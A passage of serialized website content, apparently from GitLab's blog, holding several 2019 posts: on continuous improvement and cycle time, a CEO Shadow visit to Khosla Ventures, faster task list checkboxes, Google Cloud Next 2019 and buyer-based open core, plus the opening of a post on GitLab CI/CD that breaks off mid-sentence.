Jeremiah\"}],\n        \"datePublished\": \"2019-04-09\",\n      }",{"title":30034,"description":30035,"authors":30039,"heroImage":29685,"date":30040,"body":30041,"category":8943,"tags":30042},[29354],"2019-04-09","\n\nI just finished Tom Friedman’s latest book “[Thank You for Being Late: An\nOptimist's Guide to Thriving in the Age of Accelerations](https://www.amazon.com/dp/B01F1Z0QHA),”\nin which he explores how our world is accelerating and everything is happening\nfaster and faster.  He explores the impact on business, society, economy, and\nenvironment. It’s a fantastic read – at times sobering and others exciting. I\nthink a fundamental takeaway from his research is that, from now on, business\nleaders must learn how to transform their organizations to operate at faster cycle\ntimes than ever before. While that sounds great, the obvious question is: How?\n\n## Operational efficiency and speed\n\nOne of the classic business books on operational efficiency and speed is Dr. Eli\nGoldratt’s classic, [“The Goal”](https://www.amazon.com/gp/product/0884271951).\nIn “The Goal,” the main character, Alex is a plant manager responsible for turning\naround a failing manufacturing plant. He learns a valuable lesson from his son’s\nscouting troop on a camping trip. As the group hikes into the woods, they spread\nout, because the slower hikers can’t keep up with the faster ones. No matter what\nAlex tries, he can't seem to keep them together. Then, he makes a small adjustment\nthat changes everything. He puts the slowest hiker in the front so that the entire\ntroop moves along at the speed of the slowest hiker. It’s the same in your\ndevelopment lifecycle: The fastest you can go depends on the most time-consuming\nstep in the [end-to-end value stream](/solutions/value-stream-management/).\n\nSo, how do you identify the most time-consuming step in your value stream? This\ndaunting task can be accomplished by adopting DevOps practices. In\n[“The Phoenix Project”](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/0988262592)\nand subsequent blog posts, Gene Kim describes the\n[“Three Ways”](https://itrevolution.com/the-three-ways-principles-underpinning-devops/)\nfrom which all DevOps patterns arise. These philosophies boil DevOps down to a set\nof three principles that can help organizations increase efficiency and speed by\ncarefully examining the value stream:\n\n1. **The First Way: Systems Thinking** – This first way is a flow of value from the business to the customer – or from Dev to Ops.\n1. **The Second Way: Amplify Feedback Loops** – The second way is to gather feedback from the customer, the business – or from Ops back to Dev.\n1. **The Third Way: Culture of Continual Experimentation and Learning** – Think of the third way as many smaller feedback loops of learning and improvement.\n\nWhat Alex learned in “The Goal” is an important lesson to remember: No matter\nwhat you change, you can only go as fast as the slowest. The same is true in your\nvalue stream. The principles of continuous improvement, exemplified by Gene’s\nThree Ways and [Kaizen](https://en.wikipedia.org/wiki/Kaizen) can be a powerful\nforce to help drive incremental and lasting change.\n\n## Continuous improvement through small changes\n\nWhy should you adopt a Kaizen approach?  Because it works. Kaizen is a strategy\nthat refers to continuous improvement through small changes that result in major\nimprovement. When applied in a business setting, Kaizen has significant impact\non culture, productivity, and quality.\n\nWhen teams practice continuous improvement, they;\n\n- Start with understanding their value stream.\n- Look for bottlenecks and waste.\n- Prioritize what to improve (remember the hikers).\n- Experiment with a minor change and learn.\n\nIn principle, continuous improvement and [DevOps isn’t difficult](/topics/devops/), if you approach\nit from a perspective of Kaizen and Gene Kim’s “Three Ways.” However, the\ncomplexity of fragmented toolchains and processes, siloed incentives, and lack\nof collaboration often get in the way of making lasting improvements in software\ndelivery.\n\n## Increase your DevOps success and reduce cycle time\n\nTo set the speed in the competitive race of software innovation, I have three suggestions:\n\n1. **Simplify your scope.** Focusing improvement efforts on one specific value \nstream at a time narrows your efforts to hone in on major problem areas rather\nthan becoming overwhelmed.\n1. **Empower your team.** Giving your delivery team the authority to experiment and\nimprove enables innovation to become a focus.   \n1. **Measure your value stream.** Understanding your cycle time and identifying \nbottlenecks enables you to take an objective look at what's slowing you down.\n\nIncreasing your DevOps success and reducing cycle time through continuous\nimprovement can help your organization continuously improve your value stream.\nAt GitLab, we’re helping teams reduce cycle time with our approach to DevOps,\nwhich unifies teams to focus on delivering value.\n\nAre you ready to reduce cycle\ntime? [Just commit.](/blog/strategies-to-reduce-cycle-times/)\n{: .alert .alert-gitlab-purple .text-center}\n",[4103,1444],{"slug":30044,"featured":6,"template":678},"why-improving-continuously-speeds-up-delivery","content:en-us:blog:why-improving-continuously-speeds-up-delivery.yml","Why Improving Continuously Speeds Up Delivery","en-us/blog/why-improving-continuously-speeds-up-delivery.yml","en-us/blog/why-improving-continuously-speeds-up-delivery",{"_path":30050,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30051,"content":30057,"config":30062,"_id":30064,"_type":16,"title":30065,"_source":17,"_file":30066,"_stem":30067,"_extension":20},"/en-us/blog/khosla-ventures-gitlab-meeting",{"title":30052,"description":30053,"ogTitle":30052,"ogDescription":30053,"noIndex":6,"ogImage":30054,"ogUrl":30055,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30055,"schema":30056},"Acquisitions, growth curves, and IPO strategies: A day at Khosla Ventures","A CEO Shadow’s take on GitLab’s annual investor meeting with Khosla Ventures.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671620/Blog/Hero%20Images/khosla-ventures-meeting.jpg","https://about.gitlab.com/blog/khosla-ventures-gitlab-meeting","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Acquisitions, growth curves, and IPO strategies: A day at Khosla Ventures\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2019-04-08\",\n      }",{"title":30052,"description":30053,"authors":30058,"heroImage":30054,"date":30059,"body":30060,"category":299,"tags":30061},[28961],"2019-04-08","\n\nWhen I accepted the opportunity to participate in GitLab’s [CEO Shadow program](/handbook/ceo/shadow/), I knew exactly what to expect. In typical GitLab fashion, there was already a handbook page detailing the goal, the format, and the expectations of the program. Our co-founder and CEO, [Sid Sijbrandij](https://twitter.com/sytses), keeps his calendar [public by default](https://handbook.gitlab.com/handbook/values/#public-by-default) to GitLab team-members, so I was able to get a good understanding of the meetings I’d be attending, who’d be present, and what would be discussed. What I couldn’t have predicted is how an annual meeting between Sid and venture capitalist [Vinod Khosla](https://en.wikipedia.org/wiki/Vinod_Khosla) would turn out. \n\n## Skeptical about in-person meetings \n\nGitLab is an [all-remote](/company/culture/all-remote/) company. We don’t have any offices, and we communicate and collaborate via Zoom, Slack, Google docs, and GitLab. To me, this is normal, and, as an introvert, my biggest concern with participating in the CEO program was the energy drain I knew I would experience living in downtown San Francisco for three weeks and meeting with people in person. Luckily, even our CEO conducts most of his business remotely. \n\nHowever, many of our investors and board members are still, what I call, remote shy, and tend to default to in-person meetings. This is how I found myself traveling an hour and a half south to Menlo Park to meet with one of our investor groups, Khosla Ventures, for their annual meeting with Sid. Khosla Ventures (KV) is a venture capitalist firm founded by Vinod Khosla, co-founder of Sun Microsystems. KV and GitLab have a long history: They invested in our seed round, led our Series A, and has been a part of every fundraising round since. You could say Khosla Ventures is a big fan of GitLab, and the feeling is mutual. \n\n“I’m not sure what we’re going to get out of this. Khosla is the only investor that can get me to travel an hour and a half to meet in person, every year, without an agenda,” Sid told me. \n\nWhile I sincerely appreciate Sid’s dedication to all-remote, to [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency), and to keeping things simple, I found his sentiment surprising. To me, this was a big deal. We were going to spend the day with some of the industry’s brightest minds in Silicon Valley. However, I equally appreciated his emphasis on the lack of agenda. At GitLab, [we work asynchronously](/handbook/communication/) and agendas allow people to prepare ahead of time so meetings can be interactive, discussion-oriented, and productive. A meeting without an agenda is unpredictable and can be a waste of time. \n\n## Khosla Ventures \n\nPulling up to Khosla Ventures in Menlo Park was a refreshing change of scenery from downtown San Francisco where I’d been staying. The mid-century modern style building is tucked behind lush greenery, and as soon as you enter you are unexpectedly greeted by quirky grape purple walls. Inside Khosla Ventures feels more like a creative incubator than an investor firm. \n\nWe first met with Bruce Armstrong, operating partner at Khosla Ventures and a GitLab board member. Top of mind for everyone was the board. With our plans to go public, we needed to hire new board members with public company experience. Earlier that week, I had the opportunity to sit in on a few conversations with potential board members and now I was getting the chance to hear how they were evaluating the candidates. Across the candidates, a pattern was emerging: They all had experience firing CEOs. For some CEOs this would be worrisome. For Sid, it appeared to be a point of pride: He wanted to hire the best people that were going to make the best decisions for the company in the long run. Period. \n\n## The brainstorm \n\nNext we met with Vinod, Bruce, and investment partners Brian Byun and Sven Strohband for a company brief and brainstorm session. Sid began with an update on the financials, and detailed our massive growth and expansion both in terms of people and product. There were no slides presented. Instead, Sid used our website as a visual aid. Nearly every question or discussion point was first addressed with a Google search to pull up the appropriate GitLab web page to reference. When discussing the progress of the product, he defaulted to our [homepage](https://about.gitlab.com/), where our product team has meticulously detailed our current and future feature set. During a discussion about competitors and potential partners, our [DevOps tools page](/competition/) was referenced for a single page view of all our competitors in context of exactly how we compete. \n\nI’ve been working at GitLab for two and a half years as a content writer on our marketing team and at times have been extremely frustrated with our marketing website—the content on it, how it’s organized, what we’re presenting, etc. It doesn’t look or operate in a way I’m familiar with so my instinct was to not trust it. But nothing we do at GitLab is “normal,” and witnessing our CEO use the website as a single source of public truth to inform our investors is just one example of what it means to be a [transparent company](https://handbook.gitlab.com/handbook/values/#transparency). We don’t hide behind “marketing speak” on our public facing website or develop behind closed walls. We tell the same story and share the same information with the company, the customers, the community, and yes, even the investors. \n\nWhile our website doesn’t have the same flashy graphics and pithy marketing copy I’m used to, it speaks the truth even when the truth makes people a little nervous about how we’re going to pull this off. We have an incredibly ambitious product roadmap to be built by an all remote team in a short amount of time.\n\n### Acquisition strategy\n\nSomething I’ve found surprising throughout my entire CEO Shadow experience is how external people underestimate GitLab’s ability to deliver on ambitious plans. The conversation often defaults to, “I see what you’re trying to do, but realistically, which categories are you really able to compete in?” And, unfalteringly Sid answers: all of them. There are some awkward laughs, and the question is reframed to “What part of the product are most of your customers using today?” We move on.\n\nThe conversation with Vinod Khosla was similar but different in tone. Vinod and the rest of the team were skeptical of our ambition but perhaps more attuned to Sid’s commitment to the direction and vision and thus more willing to dig into how we get there instead of why we won’t. \nPotential partnerships to help fill some of our missing functionality were discussed, but it was apparent that our plan was quickly encroaching into competitive territory among the leading contenders. \n\nInstead, there’s an acquisition strategy. To achieve our goal to deliver a single application for the entire DevOps lifecycle that is best-of-breed in every category, we are going to need some help and make some acquisitions. We already acquired [Gitter](/blog/gitter-acquisition/) and Gemnasium in order to enter into the ChatOps and security space more quickly than if we tried to build it all from scratch.\n\nNaturally, our acquisition strategy and offer was already [drafted and public in our handbook](/handbook/acquisitions/). This enabled the conversation to focus on thinking through potential companies and specific areas of our product where we may want to augment the productivity of our soon-to-be 500 internal developers with an acquisition. \n\n### The IPO date  \n\nGitLab [plans to go public on November 18, 2020](/company/strategy/#sequence) and prefers to remain an independent company with no plans of being acquired. While Vinod made it clear it’s strange to pick and make public an IPO date, at GitLab, we are driven by results and deadlines and even an IPO is no exception to the rule. The route we chose to go—traditional or direct listing—was another topic. \n\nDirect listings are historically uncommon. It wasn’t until [Spotify went public via a direct listing](https://techcrunch.com/2018/02/28/spotify-has-filed-to-go-public/) in 2018 that there was even a precedent for tech companies. Now, Slack and potentially Airbnb are rumored to be next, officially [making direct listings *a thing*](https://www.bloomberg.com/opinion/articles/2019-01-11/direct-listings-are-a-thing-now). As for GitLab, like everything else, it will come down to what’s right for us. I can report in good faith all options are being examined carefully and closely. The takeaway here is that while some might think it’s crazy of GitLab to set this ambitious goal, and Vinod might think it’s crazy to set a specific date, one thing is for sure: As a company, we’re ready and already thinking about what’s next. \n\n### Growth curves \nYou know you’re at a successful company when the VCs aren’t focused on how you’re going to meet your short-term goals or current [product vision](/direction/#vision) but are excited about the long-term vision. \n\n“Where is GitLab five years from now?” Vinod asked the room, as he stood up and drew a chart with three staggered S curves on it. He pointed to the first one, “This is where you are now.” Pointing to the other two he asked, “what comes next?” \n\nHe explained how Square started as a payment device, then to a point-of-sale system, found success, and instead of stagnating, entered into a new market via their Square Capital and Cash App offerings. You see similar trajectory with Facebook entering into the devices space with their newest Portal system. What was it going to be for GitLab? It seemed like an outrageous question to ask considering we still have this huge vision to complete but, unsurprisingly, Sid had thought about this and some things are already in the making. \n\n#### Growth curve #1: Meltano\n\n[Meltano](/blog/hey-data-teams-we-are-working-on-a-tool-just-for-you/) (model, extract, load, transform, analyze, notebook, orchestrate) is a start-up within GitLab aimed at becoming a complete solution for data teams. Similar in concept to GitLab, the goal is to create a single application for the entire data science lifecycle. The mission is similar as well: Make analytics accessible to everyone. If successful, Meltano will begin to bridge the gap between systems and data and bring the GitLab vision of everyone can contribute to even more people. \n\n#### Growth curve #2: Product assisted digital transformation  \n\nThe next idea was a real show stopper: product assisted digital transformation. Think code review as a service but expanded to culture, infrastructure, management, pipelines, process, and integrated directly into the product instead of being an outside service. Imagine if you could bootstrap and up-level your engineering teams’ skills with a product that comes with engineering best practices and support out-of-the-box. \n\n## Safe for another year\n\nAs it turns out, agenda-less meetings at Khosla Ventures can provide a ton of value. We walked out of Khosla’s office with a healthy dose of validation and criticism, and our brains buzzing with new horizons of potential to explore. I was already convinced GitLab is a great company to work for, but my experience at Khosla opened my eyes to just how unique our opportunity is. And, the on-site, half day, agenda-less meeting is good for another year. \n\nCover image by [Reza Rostampisheh](https://unsplash.com/@rezarp) on [Unsplash](https://unsplash.com/photos/-hcCm0kIaSg)\n{: .note}\n",[676,10921,3798],{"slug":30063,"featured":6,"template":678},"khosla-ventures-gitlab-meeting","content:en-us:blog:khosla-ventures-gitlab-meeting.yml","Khosla Ventures Gitlab Meeting","en-us/blog/khosla-ventures-gitlab-meeting.yml","en-us/blog/khosla-ventures-gitlab-meeting",{"_path":30069,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30070,"content":30075,"config":30081,"_id":30083,"_type":16,"title":30084,"_source":17,"_file":30085,"_stem":30086,"_extension":20},"/en-us/blog/more-performant-and-robust-task-lists-in-gitlab",{"title":30071,"description":30072,"ogTitle":30071,"ogDescription":30072,"noIndex":6,"ogImage":12849,"ogUrl":30073,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30073,"schema":30074},"How we delivered more performant and robust task lists in GitLab","How simple checkboxes became a challenging engineering problem – and how we fixed it.","https://about.gitlab.com/blog/more-performant-and-robust-task-lists-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we delivered more performant and robust task lists in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatih Acet\"},{\"@type\":\"Person\",\"name\":\"Brett Walker\"}],\n        \"datePublished\": \"2019-04-05\",\n      }",{"title":30071,"description":30072,"authors":30076,"heroImage":12849,"date":30078,"body":30079,"category":734,"tags":30080},[30077,29126],"Fatih Acet","2019-04-05","\n[GitLab task lists](https://docs.gitlab.com/ee/user/markdown#task-lists) are\na list of checkboxes that you can include anywhere in GitLab where you can have\n[GitLab Flavored Markdown (GFM)](https://docs.gitlab.com/ee/user/markdown#gitlab-flavored-markdown-gfm).\nThis includes issue descriptions and comments, as well as merge requests and epics.\nThey can be used for a list of items to consider when building a feature, tracking\ntasks for new employees to complete when onboarding, or even managing that list\nof materials to purchase for your next home renovation. You can use them as todo\nlists, and so checking off an item should be quick and satisfying.\n\n## More checkboxes, more problems\n\nIn the past, task lists with several items, even dozens, worked fairly well. Check\nan empty checkbox, and a database record gets updated. The checkbox is then displayed\nas checked. Done.\n\nHowever, as the number of items increases, and the consequent\nmarkdown becomes more complex and longer, problems begin to appear. For example,\nvisually the checkbox appears checked, but because updating the backend takes a\nlonger time, if you checked another checkbox, the screen would refresh several seconds\nlater and the checkbox might then be unchecked. It soon became next to impossible\nto go down a list and check off items without waiting 10 seconds between each one.\nYet another problem was that if other users were also checking items on the list,\nyour change could be erased by them checking their item – they were overwriting\nyour data.\n\nIn [GitLab 11.8](/releases/2019/02/22/gitlab-11-8-released/#performance-improvements) (released on Feb. 22, 2019),\nwe significantly increased the performance of task lists, as well as making them\nmuch more robust. Here's how we did it:\n\n### Essentially we wanted:\n\n- Checking a checkbox to be as fast as possible.\n- Many users to concurrently interact with checkboxes in the same task list,\nwithout overwriting each other.\n\nBoth the performance and data integrity issues stemmed from the fact that we were\nupdating the complete markdown. This meant that we changed the markdown source in\nthe browser with the updated checkbox, sent it to the backend, where it was saved\nto the database, and then re-rendered so that we could cache the new  and send\nit back to the user.\n\n## A scalable solution\n\nBut what if we could update a single checkbox, and send only that to the backend? That\nmight allow multiple users to check off as many tasks as they wanted, without clobbering\neach other. And what if we didn't have to do any markdown rendering at all? We wouldn't\nhave to do any markdown processing, or process embedded issue links, or query if\nlabels have changed, or any of the other advanced things that go on when updating\nan issue. Performance would definitely increase in this case.\n\n### Frontend work\n\nOn the frontend, with only a small modification to the\n[deckar01/task_list](https://github.com/deckar01/task_list/commit/d1c96451df5fb8fdadc2cd080f65ffe2d2076a3a)\ngem we use, we were able to pass the exact text and line number in the markdown source\nfor the clicked task.\n[Wrap this piece of information](https://gitlab.com/gitlab-org/gitlab-ce/blob/b4165554113a7f9ce9fecd7d169f9a64686b5c44/app/assets/javascripts/task_list.js#L63-68)\nin a new `update_task` parameter for our update endpoint, and send it to the backend.\n\n### Backend work\n\nOn the backend,\n[we needed to verify](https://gitlab.com/gitlab-org/gitlab-ce/blob/b4165554113a7f9ce9fecd7d169f9a64686b5c44/app/services/task_list_toggle_service.rb#L30-51)\nthat the task we were interested in still existed in exactly the same format – the text had to match\nthe exact line number in the source. This meant that even if someone changed text above or below\nthe task item, as long as our line matched exactly, we could update that line in the latest source\nand save it without losing changes.\n\nIn order to update our cached HTML so that we wouldn't have to re-render it, we turned on\nthe `SOURCEPOS` flag of the CommonMark renderer, which adds a `data-sourcepos` attribute to the HTML.\nFor example, a task item's might look like this:\n\n```\n\u003Cli data-sourcepos=\"1:1-1:12\" class=\"task-list-item\">\n  \u003Cinput type=\"checkbox\" class=\"task-list-item-checkbox\" disabled> Task 1\n\u003C/li>\n```\n\nWith a little [Nokogiri](https://nokogiri.org) magic we were able to find the correct line\nand toggle the checked attribute.\n\nSince we updated the cache directly, we completely bypassed any markdown rendering,\nprocessing of special attributes, etc. Performance dramatically increased. However,\nsince we are not able to get it down to zero, we disabled the checkboxes while the\nrequest was in flight to ensure we weren't getting clicks on other tasks.\n\nThe result: a much more satisfying task list.\n\n[Brett Walker](https://gitlab.com/digitalmoksha) worked on the backend changes and\n[Fatih Acet](https://gitlab.com/fatihacet) worked on the frontend changes in this\nimprovement. See more details in [the GitLab issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/19745).\n\nPhoto by [Glenn Carstens-Peters](https://unsplash.com/photos/RLw-UC03Gwc?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[11037,676],{"slug":30082,"featured":6,"template":678},"more-performant-and-robust-task-lists-in-gitlab","content:en-us:blog:more-performant-and-robust-task-lists-in-gitlab.yml","More Performant And Robust Task Lists In Gitlab","en-us/blog/more-performant-and-robust-task-lists-in-gitlab.yml","en-us/blog/more-performant-and-robust-task-lists-in-gitlab",{"_path":30088,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30089,"content":30094,"config":30099,"_id":30101,"_type":16,"title":30102,"_source":17,"_file":30103,"_stem":30104,"_extension":20},"/en-us/blog/google-next-post",{"title":30090,"description":30091,"ogTitle":30090,"ogDescription":30091,"noIndex":6,"ogImage":25354,"ogUrl":30092,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30092,"schema":30093},"What to check out at Google Cloud Next 2019","Support women who code by stopping by our booth, learn from a host of GitLab experts, and more.","https://about.gitlab.com/blog/google-next-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What to check out at Google Cloud Next 2019\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mayank Tahilramani\"}],\n        \"datePublished\": \"2019-04-04\",\n      }",{"title":30090,"description":30091,"authors":30095,"heroImage":25354,"date":30096,"body":30097,"category":299,"tags":30098},[26326],"2019-04-04","\n\nIt’s that time of the year to indulge in all things innovative and new at Google Cloud Next 2019.\nAs an attendee last year, I was excited to learn about Google’s vision on ‘bringing the cloud to you’\nwith a focus on hybrid cloud and unveiling of GKE On-Prem. GitLab’s partnership with Google\nhas grown a lot since we launched our quick and easy [integration with GKE](/partners/technology-partners/google-cloud-platform/)\nlast year and we hope you will come out to see some of the new things we have going on.\n\n### Don't be shy, come say hi 👋\n\nCome visit us at our booth (#S1607), get scanned, and GitLab will donate $5 to your\ncharity of choice: [Rail Girls](http://railsgirls.com/) or [Django Girls](https://djangogirls.org/).\nThis also enters you for a chance to win an iPad Pro!\n\nWhile you're there, we would love to showcase and talk about:\n\n* GitLab’s [AutoDevOps](https://docs.gitlab.com/ee/topics/autodevops/) functionality.\n* Using GitLab to [secure your applications](/stages-devops-lifecycle/secure/).\n* How to get started with [GitLab for GCP on GKE](/partners/technology-partners/google-cloud-platform/) and GKE On-Prem.\n* GitLab [Serverless with Knative](/topics/serverless/) and [Cloud Run](https://cloud.google.com/blog/products/serverless/announcing-cloud-run-the-newest-member-of-our-serverless-compute-stack),\n* ... and much more!\n\n### Sit back, relax, and listen to some of our experts live\n\n* Check out [Brandon Jung](/company/team/#brandoncjung) (VP of Alliances) discuss [GitLab’s move from Azure to GCP](https://cloud.withgoogle.com/next/sf/sessions?session=ARC207) which includes a technical\noverview of the migration as well as lessons learned. Check out our customer case study [here](https://cloud.google.com/customers/gitlab/).\n\n* Come listen to [Kathy Wang](/company/team/#wangkathy) (Senior Director of Security) tell our journey [Towards Zero Trust at GitLab.com](https://cloud.withgoogle.com/next/sf/sessions?session=SEC220) along with key lessons learned. ([You can read more about the evolution of Zero Trust here](/blog/evolution-of-zero-trust/).)\n\n* Learn something new with [Daniel Gruesso](/company/team/#danielgruesso) (Product Manager) showcasing GitLab’s serverless functionality to [Run a consistent serverless platform anywhere with Kubernetes and Knative](https://cloud.withgoogle.com/next/sf/sessions?session=HYB218).\n\n### Get hands on with Qwiklabs\n\nLearn from [Dan Gordon](/company/team/#dbgordon) (Senior Technical Marketing Manager) at our [Spotlight Lab: Introduction to GitLab on GKE](https://cloud.withgoogle.com/next/sf/sessions?session=301353-133371). Here you will have the chance to deploy GitLab on GKE, migrate a GitHub repository into a GitLab Project, and set up a CI/CD pipeline with AutoDevOps to deploy your code to GKE.\n\nSo stop by and say hello!\n\nWe are proud to be a sponsor at this event and would love to see as many of you at our booth (S1607) to discuss GitLab [Serverless](/topics/serverless/) with Knative and Cloud Run, GitLab’s integration with GKE, GitLab AutoDevOps for CI/CD, Security functionalities, as well as GitLab’s support for GKE On-Prem.\n",[1899,2509,110,4103,232,815,674,942],{"slug":30100,"featured":6,"template":678},"google-next-post","content:en-us:blog:google-next-post.yml","Google Next Post","en-us/blog/google-next-post.yml","en-us/blog/google-next-post",{"_path":30106,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30107,"content":30113,"config":30118,"_id":30120,"_type":16,"title":30121,"_source":17,"_file":30122,"_stem":30123,"_extension":20},"/en-us/blog/five-ways-resist-service-wrapping-buyer-based-open-core",{"title":30108,"description":30109,"ogTitle":30108,"ogDescription":30109,"noIndex":6,"ogImage":30110,"ogUrl":30111,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30111,"schema":30112},"5 Ways to resist the threat of service-wrapping with buyer-based open core","Commercial open source businesses are at risk of commoditization by hypercloud providers – here are some ways to avoid the trap.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680537/Blog/Hero%20Images/osls-buyer-based-open-source.jpg","https://about.gitlab.com/blog/five-ways-resist-service-wrapping-buyer-based-open-core","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Ways to resist the threat of service-wrapping with buyer-based open core\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-04-03\",\n      }",{"title":30108,"description":30109,"authors":30114,"heroImage":30110,"date":30115,"body":30116,"category":813,"tags":30117},[22656],"2019-04-03","\n\nGitLab makes money as a commercial open source software (COSS) business. As you\nmight imagine, open source is at risk of becoming commoditized, just by its\ninherent characteristic of being completely … open. In today’s age of hyperclouds,\nopen source businesses are under threat of [service-wrapping via cloud\nproviders like Amazon](https://aws.amazon.com/blogs/aws/new-open-distro-for-elasticsearch/), Microsoft, and Google.\n\nTo avoid commoditization, [GitLab has tried a number of business models](/blog/monetizing-and-being-open-source/), from\ndonations to consultancy to single-tenant service, but none of them worked.\nFinally, we settled on open core. At this year’s Open Source Leadership Summit,\nour CEO [Sid Sijbrandij](/company/team/#sytses) talked about where GitLab has hedged its bet to avoid becoming obsolete.\nAs Sid describes in the presentation below, there are five key methods for resisting\ncommoditization with buyer-based open core.\n\n## Watch the presentation\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/G6ZupYzr_Zg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Key takeaways\n\n### What is buyer-based open core?\n\nBuyer-based means that GitLab offers [four different tiers of the software](/pricing/), which offer different functionality based\non what each buyer persona needs.\n\n### How do you generate revenue with buyer-based open core?\n\nEach tier focuses on what the buyer wants – and nothing more. It is also priced\naccordingly. Those at a higher level in the organization often have more budget\nauthority – so they can spend budget on what provides value for them.\n\n### How can COSSes avoid commoditization?\n\n1. Insert proprietary functionality in a majority of your use cases.\n1. Offer many proprietary features.\n1. Offer interaction through a user interface, rather than through APIs.\n1. Cater to price-insensitive buyers.\n1. Attract users that rarely contribute to open source.\n\nLearn more about these best practices and how GitLab has implemented them by\n[watching Sid’s presentation](https://youtu.be/G6ZupYzr_Zg), or viewing his slides below:\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://docs.google.com/presentation/d/e/2PACX-1vRzKYXPPenZlKkbun3AklJP-xgrC4ga-AqBRyVxOAs2tczZ1VNNUGriYy0vF8iBccuT58rDcwateT3P/embed?start=false&loop=false&delayms=3000\" frameborder=\"0\" width=\"960\" height=\"569\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\nCover image by [Nastuh Abootalebi](https://unsplash.com/@sunday_digital) on\n[Unsplash](https://unsplash.com/photos/eHD8Y1Znfpk)\n{: .note}\n",[267,815,676],{"slug":30119,"featured":6,"template":678},"five-ways-resist-service-wrapping-buyer-based-open-core","content:en-us:blog:five-ways-resist-service-wrapping-buyer-based-open-core.yml","Five Ways Resist Service Wrapping Buyer Based Open Core","en-us/blog/five-ways-resist-service-wrapping-buyer-based-open-core.yml","en-us/blog/five-ways-resist-service-wrapping-buyer-based-open-core",{"_path":30125,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30126,"content":30131,"config":30136,"_id":30138,"_type":16,"title":30139,"_source":17,"_file":30140,"_stem":30141,"_extension":20},"/en-us/blog/why-gitlab-ci-cd",{"title":30127,"description":30128,"ogTitle":30127,"ogDescription":30128,"noIndex":6,"ogImage":29758,"ogUrl":30129,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30129,"schema":30130},"Why GitLab CI/CD?","With GitLab’s out-of-the-box CI/CD, you can spend less time maintaining and more time creating.","https://about.gitlab.com/blog/why-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why GitLab CI/CD?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-04-02\",\n      }",{"title":30127,"description":30128,"authors":30132,"heroImage":29758,"date":30133,"body":30134,"category":299,"tags":30135},[18462],"2019-04-02","\nDevOps speed is a competitive advantage for businesses. According to DORA, [companies that deploy more frequently perform better in the market](https://cloudplatformonline.com/2018-state-of-devops.html). Everyone wants to be able to do their jobs better and deploy more frequently, but as the organization grows, speed bumps keep getting in the way:\n\n*   **Too many integration points** – Connecting [CI/CD](/topics/ci-cd/) to all of the different tools in a [DevOps toolchain](/topics/devops/) is confusing and keeps adding more steps and more points of failure to the process.\n*   **Brittle tools** – We're spending more time maintaining and updating these tools than actually creating new features.\n*   **Slow modernization** – We want to leverage [microservices](/topics/microservices/) and [cloud native](/topics/cloud-native/) development, but we spend too much time putting out fires.\n\nWith these speed bumps come complicated workflows, lack of pipeline visibility, and confusion about processes. With the Total Cost of Ownership (TCO) going up as more resources go to maintenance, teams can't afford to innovate. As organizations scale, these complexities only get worse.\n\nThat sounds exhausting, doesn't it?\n\n## Current CI/CD tools\n\nAt GitLab, we love transparency so much we made it [one of our core values](https://handbook.gitlab.com/handbook/values/#transparency). It's also why [we list all other DevOps tools on our website](/competition/) (no, really). We think open and direct communication is the fastest way to get the feedback you need to make the right decisions. For DevOps teams, the right tools should make things easier but we've found that _more_ doesn't always mean _better_.\n\n### High maintenance\n\nIntegrating CI/CD tools with the rest of your toolchain can get complicated – managing and updating these tools regularly isn't any easier. Many teams rely on tool experts just to keep everything running smoothly.\n\n### Lack of cloud native compatibility\n\nAs more organizations look to leverage microservices and [cloud native](/topics/cloud-native/) development, they'll need CI/CD tools that support modern architecture. With some CI/CD platforms, teams still need additional plugins to connect to Kubernetes or a container registry. Teams using legacy CI/CD tools will need to upgrade in order to gain those cloud native capabilities.\n\n### Toolchain complexity\n\nToolchains sometimes have too much in common with [Rube Goldberg devices](https://www.youtube.com/watch?v=qybUFnY7Y8w). Adding on more applications, more platforms, and more handoffs increases complexity that slows down teams. Add to that the maintenance, plugin, and upgrade requirements to manage these separate tools, and productivity gets harder.\n\n## Why teams love GitLab CI/CD\n\nCI/CD tools should make engineers' lives easier by giving them greater visibility into their pipelines, without burdening them with complicated integrations and plugin maintenance. GitLab CI/CD is designed to be simple so teams can start using it right away.\n\n### Easy to use\n\nGitLab uses a YAML configuration that any developer can understand so you can build 